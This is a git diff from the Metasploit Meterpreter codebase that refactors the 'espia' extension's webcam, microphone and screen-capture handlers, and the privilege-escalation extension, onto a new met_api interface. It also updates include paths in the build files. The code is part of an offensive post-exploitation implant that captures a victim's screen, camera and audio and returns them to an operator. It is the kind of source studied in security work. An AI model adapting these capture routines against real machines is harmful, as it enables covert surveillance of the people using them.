diff --git a/c/meterpreter/source/extensions/espia/audio.c b/c/meterpreter/source/extensions/espia/audio.c index 126b59d1..051bfd45 100644 --- a/c/meterpreter/source/extensions/espia/audio.c +++ b/c/meterpreter/source/extensions/espia/audio.c @@ -1,5 +1,5 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" #include <stdio.h> #include <windows.h> #include <tchar.h> @@ -7,6 +7,7 @@ #include <stdlib.h> #include <malloc.h> #include "espia.h" +#include "common_metapi.h" #pragma comment(lib, "vfw32.lib") #pragma comment(lib, "winmm.lib") @@ -60,6 +61,7 @@ BOOL capmicaudio(char* szFile, int millisecs) return (0L); } +// TODO: remove this junk? int __declspec(dllexport) controlmic(char **waveresults, int msecs) { DWORD dwError = 0; char *wavestring = NULL; @@ -80,24 +82,24 @@ int __declspec(dllexport) controlmic(char **waveresults, int msecs) { /* * Grabs the audio from mic. */ -DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet) +DWORD request_audio_get_dev_audio(Remote* remote, Packet* packet) { - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS; - char *wave = NULL; + Packet* response = met_api->packet.create_response(packet); + DWORD res = ERROR_SUCCESS; + char* wave = NULL; - if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) - { - res = GetLastError(); - } + if (controlmic(&wave, met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) + { + res = GetLastError(); + } - //packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); + //met_api->packet.add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); - if (wave) - free(wave); + if (wave) + free(wave); - return res; + return res; } diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index ba5d81e1..c5e8a454 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -2,23 +2,21 @@ * This module implemenet webcam frae capture and mic recording features. */ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "espia.h" #include "audio.h" #include "video.h" #include "screen.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" +// Required so that use of the API works. +MetApi* met_api = NULL; + // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor - -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - Command customCommands[] = { COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ), @@ -32,11 +30,11 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all( customCommands ); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -48,7 +46,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all( customCommands ); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/espia/screen.c b/c/meterpreter/source/extensions/espia/screen.c index c606a820..98d6d4fe 100644 --- a/c/meterpreter/source/extensions/espia/screen.c +++ b/c/meterpreter/source/extensions/espia/screen.c @@ -1,5 +1,5 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" #include <stdio.h> #include <windows.h> #include <tchar.h> @@ -9,6 +9,7 @@ #include <wingdi.h> #include "espia.h" #include "screen.h" +#include "common_metapi.h" /* Function modified to store bitmap in memory. et [ ] metasploit.com @@ -827,7 +828,6 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)); memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb); // Don't send it yet. Convert it to a JPEG. - //packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s); // JPEG conversion start here..' @@ -875,7 +875,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ (*src_mgr->finish_input) (&cinfo, src_mgr); jpeg_finish_compress(&cinfo); jpeg_destroy_compress(&cinfo); - packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size); + met_api->packet.add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size); // Is it safe to free this right after pack_add_tlv_raw? free(buf_jpeg); @@ -896,7 +896,7 @@ int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){ */ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; @@ -1045,7 +1045,7 @@ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet) if (hInputDesktop) CloseDesktop(hInputDesktop); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return dwResult; } diff --git a/c/meterpreter/source/extensions/espia/video.c b/c/meterpreter/source/extensions/espia/video.c index 5631530e..397279e6 100644 --- a/c/meterpreter/source/extensions/espia/video.c +++ b/c/meterpreter/source/extensions/espia/video.c @@ -1,4 +1,4 @@ -#include "../../common/common.h" +#include "common.h" #include <stdio.h> #include <windows.h> #include <psapi.h> @@ -9,6 +9,7 @@ #include <malloc.h> #include <vfw.h> #include "espia.h" +#include "common_metapi.h" #pragma comment(lib, "vfw32.lib") @@ -73,6 +74,7 @@ char *StringCombine(char *string1, char *string2) { return string1; } +// TODO: remove this junk?! int __declspec(dllexport) controlcam(char **imageresults) { DWORD dwError = 0; char *imagestring = NULL; @@ -104,11 +106,11 @@ int __declspec(dllexport) controlcam(char **imageresults) { /* * Grabs the Webcam Image. */ -DWORD request_video_get_dev_image(Remote *remote, Packet *packet) +DWORD request_video_get_dev_image(Remote* remote, Packet* packet) { - Packet *response = packet_create_response(packet); + Packet* response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; - char *image = NULL; + char* image = NULL; do { @@ -118,14 +120,14 @@ DWORD request_video_get_dev_image(Remote *remote, Packet *packet) break; } - //packet_add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image); + //met_api->packet.add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image); } while (0); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); if (image) - free(image); + free(image); return res; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index d6173105..03e196ec 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -2,8 +2,7 @@ * @brief This module implements privilege escalation features. */ #include "precomp.h" -#include "common_metapi.h" - +#include "common_metapi.h" // Required so that use of the API works. MetApi* met_api = NULL; diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index 74cb4d19..aa2671e2 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -86,7 +86,7 @@ <Optimization>MinSpace</Optimization> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <IntrinsicFunctions>false</IntrinsicFunctions> - <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <StringPooling>true</StringPooling> <RuntimeLibrary>MultiThreaded</RuntimeLibrary> @@ -138,7 +138,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command> <Optimization>MinSpace</Optimization> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <IntrinsicFunctions>false</IntrinsicFunctions> - <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <StringPooling>true</StringPooling> <RuntimeLibrary>MultiThreaded</RuntimeLibrary> @@ -193,7 +193,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command> <Optimization>MaxSpeed</Optimization> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <IntrinsicFunctions>false</IntrinsicFunctions> - <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <StringPooling>true</StringPooling> <RuntimeLibrary>MultiThreaded</RuntimeLibrary> @@ -245,7 +245,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command> <Optimization>MaxSpeed</Optimization> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <IntrinsicFunctions>false</IntrinsicFunctions> - <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> <StringPooling>true</StringPooling> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>